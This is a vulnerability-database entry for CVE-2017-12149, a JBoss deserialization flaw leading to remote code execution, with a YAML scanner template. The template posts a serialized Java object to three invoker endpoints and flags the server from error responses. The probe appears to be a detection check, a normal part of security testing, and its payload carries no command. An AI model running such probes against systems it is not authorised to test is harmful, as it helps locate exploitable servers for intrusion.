CVE-2017-12149: Java/Jboss Deserialization [RCE]

日期: 2025-08-01 | 影响软件: Java Jboss | POC: 已公开

漏洞描述

In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization and thus allowing an attacker to execute arbitrary code via crafted serialized data.

PoC代码[已公开]

id: CVE-2017-12149

info:
  name: Java/Jboss Deserialization [RCE]
  author: fopina
  severity: critical
  description: |-
    In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization and thus allowing an attacker to execute arbitrary code via crafted serialized data.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12149
    - https://chowdera.com/2020/12/20201229190934023w.html
    - https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
    - https://blog.csdn.net/qq_25645753/article/details/108436405
    - https://www.cnblogs.com/Oran9e/p/7897102.html
  tags: cve,cve2017,jboss,rce
  created: 2023/08/10

set:
  hostname: request.url.host
  payload: base64Decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==")
rules:
  r0:
    request:
      method: POST
      path: /invoker/readonly
      headers:
        Content-Type: application/octet-stream
    expression: response.status == 500  && response.body.bcontains(b"ClassCastException")
  r1:
    request:
      method: POST
      path: /invoker/JMXInvokerServlet/
      headers:
        Content-Type: application/octet-stream
      body: |
        {{payload}}
    expression: response.status == 200 && response.body.bcontains(b"ClassCastException")
  r2:
    request:
      method: POST
      path: /invoker/EJBInvokerServlet/
      headers:
        Content-Type: application/octet-stream
      body: |
        {{payload}}
    expression: response.status == 200 && response.headers["content-type"].icontains("application/x-java-serialized-object")
expression: r0() && r1() && r2()